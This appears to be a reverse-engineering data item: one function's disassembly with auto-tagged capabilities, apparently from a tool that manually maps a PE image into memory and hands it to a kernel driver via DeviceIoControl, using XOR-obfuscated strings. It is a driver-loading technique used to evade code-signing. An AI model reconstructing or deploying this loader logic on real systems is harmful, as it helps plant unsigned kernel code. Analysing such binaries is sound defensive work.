Function at 0x140091a10
Capabilities:
Encode data using xor
Parse pe header

Disassembly:
push rbp
push rbx
push rsi
push r12
push r14
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x1401ce080]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0xa8]
xor ebx, ebx
mov qword [rbp - 0x78], rax
mov r12, rdx
mov eax, 0x5a4d
mov qword [rsp + 0x48], rcx
mov r14, rcx
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x70], rbx
cmp word [rdx], ax
je 0x140091a62
mov esi, ebx
jmp 0x140091a73
movsxd rsi, dword [rdx + 0x3c]
add rsi, r12
cmp dword [rsi], 0x4550
cmovne rsi, rbx
test rsi, rsi
jne 0x140091b1c
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x35a935d8
mov dword [rbp - 0x5c], 0x35a635d8
mov dword [rbp - 0x58], 0x35e635ce
mov dword [rbp - 0x54], 0x35eb35ff
mov dword [rbp - 0x50], 0x35e535e7
mov dword [rbp - 0x4c], 0x35ae35e9
mov dword [rbp - 0x48], 0x35ff35e9
mov dword [rbp - 0x44], 0x35ff35e3
mov dword [rbp - 0x40], 0x35e035f2
mov dword [rbp - 0x3c], 0x35f935b5
mov dword [rbp - 0x38], 0x35b835f1
mov dword [rbp - 0x34], 0x35df35c9
mov dword [rbp - 0x30], 0x35f535bb
mov dword [rbp - 0x2c], 0x35ff35f0
mov dword [rbp - 0x28], 0x35c535f8
mov word [rbp - 0x24], bx
mov byte [rbp - 0x22], 1
call fcn.140085140
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14008c660
lea rdx, [0x14008c840]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor eax, eax
jmp 0x14009233b
mov eax, 0x20b
cmp word [rsi + 0x18], ax
je 0x140091caf
movdqa xmm3, xmmword [0x1401b0b90]
mov ecx, 0x358d
movdqa xmm4, xmmword [0x1401b0da0]
mov dword [rbp - 0x60], 0x35aa35dd
mov dword [rbp - 0x5c], 0x35a935d5
mov dword [rbp - 0x58], 0x35e635c3
mov dword [rbp - 0x54], 0x35ea35ed
mov dword [rbp - 0x50], 0x35af35eb
mov dword [rbp - 0x4c], 0x35e235f9
mov dword [rbp - 0x48], 0x35fd35b2
mov dword [rbp - 0x44], 0x35e135fb
mov dword [rbp - 0x40], 0x35a135b6
mov dword [rbp - 0x3c], 0x35b935ac
mov dword [rbp - 0x38], 0x35f235f8
mov dword [rbp - 0x34], 0x35e8
mov byte [rbp - 0x30], 1
nop dword [rax + rax]
movd xmm1, dword [rbp + rbx*2 - 0x60]
lea rax, [rcx - 5]
xorps xmm0, xmm0
movq xmm2, rbx
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm4
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rax
pshuflw xmm1, xmm0, 0xd8
lea rax, [rcx - 3]
movd dword [rbp + rbx*2 - 0x60], xmm1
xorps xmm0, xmm0
movd xmm1, dword [rbp + rbx*2 - 0x5c]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rax
pshuflw xmm1, xmm0, 0xd8
lea rax, [rcx - 1]
movd dword [rbp + rbx*2 - 0x5c], xmm1
xorps xmm0, xmm0
movd xmm1, dword [rbp + rbx*2 - 0x58]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rax
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rcx
movd dword [rbp + rbx*2 - 0x58], xmm1
add rcx, 8
movd xmm1, dword [rbp + rbx*2 - 0x54]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rbx*2 - 0x54], xmm1
add rbx, 8
cmp rcx, 0x359d
jb 0x140091ba0
cmp rbx, 0x17
jae 0x140091ca2
mov edx, 0x3586
lea eax, [rdx + rbx]
xor word [rbp + rbx*2 - 0x60], ax
inc rbx
cmp rbx, 0x17
jb 0x140091c91
mov byte [rbp - 0x30], 0
lea rdx, [rbp - 0x60]
jmp 0x140091af9
mov qword [rsp + 0x170], rdi
xor ecx, ecx
mov edi, dword [rsi + 0x50]
mov r9d, 4
mov edx, edi
mov qword [rsp + 0x120], r15
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
test rax, rax
je 0x14009232b
movzx eax, word [rsi + 0x14]
lea r8, [rsp + 0x50]
mov rcx, r14
mov qword [rsp + 0x128], r13
mov eax, dword [rax + rsi + 0x24]
sub edi, eax
mov dword [rsp + 0x40], eax
mov eax, edi
mov edx, edi
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x50], rbx
call fcn.1400911f0
mov qword [rbp - 0x70], rax
mov r13, rax
test rax, rax
jne 0x140091f1d
movdqa xmm3, xmmword [0x1401b0b90]
mov ecx, 0x358d
movdqa xmm4, xmmword [0x1401b0da0]
mov r8d, 0x35b5
mov dword [rbp - 0x60], 0x35aa35dd
mov dword [rbp - 0x5c], 0x35a935d5
mov dword [rbp - 0x58], 0x35ea35cc
mov dword [rbp - 0x54], 0x35e135e5
mov dword [rbp - 0x50], 0x35eb35eb
mov dword [rbp - 0x4c], 0x35e535b0
mov dword [rbp - 0x48], 0x35b335fd
mov dword [rbp - 0x44], 0x35f935f5
mov dword [rbp - 0x40], 0x35f835fa
mov dword [rbp - 0x3c], 0x35f835fb
mov dword [rbp - 0x38], 0x35fe35ee
mov dword [rbp - 0x34], 0x35ef35bc
mov dword [rbp - 0x30], 0x35f235fb
mov dword [rbp - 0x2c], 0x35d535cf
mov dword [rbp - 0x28], 0x358335c7
mov dword [rbp - 0x24], 0x35c835cd
mov dword [rbp - 0x20], 0x35c035c7
mov dword [rbp - 0x1c], 0x358935cd
mov dword [rbp - 0x18], 0x35c535c3
mov dword [rbp - 0x14], 0x35c6358c
mov dword [rbp - 0x10], 0x35dd35cb
mov dword [rbp - 0xc], 0x35d435de
mov dword [rbp - 8], 0x35de
mov byte [rbp - 4], 1
nop dword [rax]
nop dword [rax + rax]
movd xmm1, dword [rbp + rbx*2 - 0x60]
lea rax, [rcx - 5]
xorps xmm0, xmm0
movq xmm2, rbx
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm4
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rax
pshuflw xmm1, xmm0, 0xd8
lea rax, [rcx - 3]
movd dword [rbp + rbx*2 - 0x60], xmm1
xorps xmm0, xmm0
movd xmm1, dword [rbp + rbx*2 - 0x5c]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rax
pshuflw xmm1, xmm0, 0xd8
lea rax, [rcx - 1]
movd dword [rbp + rbx*2 - 0x5c], xmm1
xorps xmm0, xmm0
movd xmm1, dword [rbp + rbx*2 - 0x58]
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
punpcklqdq xmm2, xmm2
paddq xmm2, xmm3
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
movq xmm2, rax
pshuflw xmm1, xmm0, 0xd8
movq xmm0, rcx
movd dword [rbp + rbx*2 - 0x58], xmm1
add rcx, 8
movd xmm1, dword [rbp + rbx*2 - 0x54]
punpcklqdq xmm2, xmm0
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [rbp + rbx*2 - 0x54], xmm1
add rbx, 8
cmp rcx, r8
jb 0x140091df0
cmp rbx, 0x2d
jae 0x140091ef1
mov edx, 0x3586
nop dword [rax]
lea eax, [rdx + rbx]
xor word [rbp + rbx*2 - 0x60], ax
inc rbx
cmp rbx, 0x2d
jb 0x140091ee0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp - 0x60]
mov byte [rbp - 4], 0
call fcn.14008c660
lea rdx, [0x14008c840]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r12, r14
jmp 0x140092304
mov r8d, dword [rsi + 0x54]
mov rdx, r12
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movzx edi, word [rsi + 0x14]
mov r14d, ebx
add rdi, 0x28
cmp bx, word [rsi + 6]
jae 0x140091f6d
add rdi, rsi
test dword [rdi + 0x14], 0x80
ja 0x140091f5d
mov edx, dword [rdi + 4]
mov ecx, dword [rdi - 4]
add rdx, r12
mov r8d, dword [rdi]
add rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsi + 6]
inc r14d
add rdi, 0x28
cmp r14d, eax
jl 0x140091f40
mov eax, dword [rsp + 0x40]
lea rcx, [rbp - 0x60]
mov r14, r13
mov rdx, r15
sub r13, rax
mov rdi, r13
sub rdi, qword [rsi + 0x30]
call fcn.140093250
mov rdx, rdi
mov rcx, rax
call fcn.1400924b0
mov rdx, r15
lea rcx, [rbp - 0x60]
call fcn.140093380
mov r12, qword [rsp + 0x48]
mov rdx, rax
mov rcx, r12
call fcn.1400925b0
test al, al
jne 0x140092030
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x35aa35dd
mov dword [rbp - 0x5c], 0x35a935d5
mov dword [rbp - 0x58], 0x35ea35cc
mov dword [rbp - 0x54], 0x35e135e5
mov dword [rbp - 0x50], 0x35eb35eb
mov dword [rbp - 0x4c], 0x35e535b0
mov dword [rbp - 0x48], 0x35b335fd
mov dword [rbp - 0x44], 0x35f035e6
mov dword [rbp - 0x40], 0x35f835e5
mov dword [rbp - 0x3c], 0x35ef35f4
mov dword [rbp - 0x38], 0x35bb35ff
mov dword [rbp - 0x34], 0x35f035f5
mov dword [rbp - 0x30], 0x35f035ee
mov dword [rbp - 0x2c], 0x35d535d2
mov dword [rbp - 0x28], 0x35d1
mov byte [rbp - 0x24], 1
call fcn.140092360
jmp 0x1400922e5
mov eax, dword [rsp + 0x40]
add rax, r15
je 0x140092230
mov rdi, qword [rbp - 0x80]
test rdi, rdi
je 0x140092230
mov qword [rsp + 0x38], rbx
lea r8, [rbp - 0x60]
mov qword [rbp - 0x50], rax
mov r9d, Ordinal_41
lea rax, [rsp + 0x40]
mov qword [rbp - 0x58], rbx
mov qword [rsp + 0x30], rax
mov edx, 0x80862007
mov dword [rsp + 0x28], ebx
mov rcx, r12
mov qword [rsp + 0x20], rbx
mov qword [rbp - 0x60], gethostname
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], rdi
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140092230
mov esi, dword [rsi + 0x28]
lea rdx, [rsp + 0x60]
mov rax, qword [rsp + 0x50]
lea rcx, [rsp + 0x70]
mov r9, rdi
mov qword [rsp + 0x20], rax
mov r8, r14
add rsi, r13
call fcn.1400785f0
test al, al
jne 0x14009215b
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x35aa35dd
mov dword [rbp - 0x5c], 0x35a935d5
mov dword [rbp - 0x58], 0x35ea35c9
mov dword [rbp - 0x54], 0x35e135e0
mov dword [rbp - 0x50], 0x35ee35ec
mov dword [rbp - 0x4c], 0x35fa35f3
mov dword [rbp - 0x48], 0x35e135b2
mov dword [rbp - 0x44], 0x35e135f1
mov dword [rbp - 0x40], 0x35e535e3
mov dword [rbp - 0x3c], 0x35ea35f6
mov dword [rbp - 0x38], 0x35fd35ba
mov dword [rbp - 0x34], 0x35f135fd
mov dword [rbp - 0x30], 0x35fa35ed
mov dword [rbp - 0x2c], 0x3581358c
mov dword [rbp - 0x28], 0x35c235c4
mov dword [rbp - 0x24], 0x35c935cd
mov dword [rbp - 0x20], 0x35c335c3
mov dword [rbp - 0x1c], 0x3589
mov byte [rbp - 0x18], 1
call fcn.1400918c0
jmp 0x1400922e5
mov rax, qword [rsp + 0x60]
lea rdx, [rsp + 0x44]
mov r9, qword [rsp + 0x70]
mov r8, rsi
mov rcx, r12
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x44], ebx
call fcn.140092930
test al, al
jne 0x140092208
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x35a935d8
mov dword [rbp - 0x5c], 0x35a635d8
mov dword [rbp - 0x58], 0x35e935c1
mov dword [rbp - 0x54], 0x35e635e0
mov dword [rbp - 0x50], 0x35e835ee
mov dword [rbp - 0x4c], 0x35fa35ad
mov dword [rbp - 0x48], 0x35b035e0
mov dword [rbp - 0x44], 0x35f335f2
mov dword [rbp - 0x40], 0x35f835ff
mov dword [rbp - 0x3c], 0x35f235b5
mov dword [rbp - 0x38], 0x35f135e5
mov dword [rbp - 0x34], 0x35ff35ef
mov dword [rbp - 0x30], 0x35bc35e9
mov dword [rbp - 0x2c], 0x35f035f8
mov dword [rbp - 0x28], 0x35d235eb
mov dword [rbp - 0x24], 0x35d8
mov byte [rbp - 0x20], 1
call fcn.140088bf0
jmp 0x1400922e5
mov rax, qword [rbp - 0x78]
test rax, rax
je 0x140092217
mov ecx, dword [rsp + 0x44]
mov dword [rax], ecx
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, r14
jmp 0x140092323
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x35a935d8
mov dword [rbp - 0x5c], 0x35a635d8
mov dword [rbp - 0x58], 0x35e935c1
mov dword [rbp - 0x54], 0x35e635e0
mov dword [rbp - 0x50], 0x35e835ee
mov dword [rbp - 0x4c], 0x35fa35ad
mov dword [rbp - 0x48], 0x35b035e0
mov dword [rbp - 0x44], 0x35e035e6
mov dword [rbp - 0x40], 0x35e035fa
mov dword [rbp - 0x3c], 0x35b635f0
mov dword [rbp - 0x38], 0x35f735fb
mov dword [rbp - 0x34], 0x35fb35fa
mov dword [rbp - 0x30], 0x35bc35f7
mov dword [rbp - 0x2c], 0x35f335f4
mov dword [rbp - 0x28], 0x35c735fe
mov dword [rbp - 0x24], 0x358235c4
mov dword [rbp - 0x20], 0x35cb35d7
mov dword [rbp - 0x1c], 0x35d43585
mov dword [rbp - 0x18], 0x35c535c2
mov dword [rbp - 0x14], 0x35de35c6
mov dword [rbp - 0x10], 0x358c35ce
mov dword [rbp - 0xc], 0x35c335c4
mov dword [rbp - 8], 0x35d735ce
mov dword [rbp - 4], 0x35d4
mov byte [rbp], 1
call fcn.140086690
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov rdx, rax
call fcn.14008c660
lea rdx, [0x14008c840]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rbp - 0x70]
mov rcx, r12
call fcn.1400870b0
xor eax, eax
mov r13, qword [rsp + 0x128]
mov rdi, qword [rsp + 0x170]
mov r15, qword [rsp + 0x120]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1401041f0
add rsp, 0x130
pop r14
pop r12
pop rsi
pop rbx
pop rbp
ret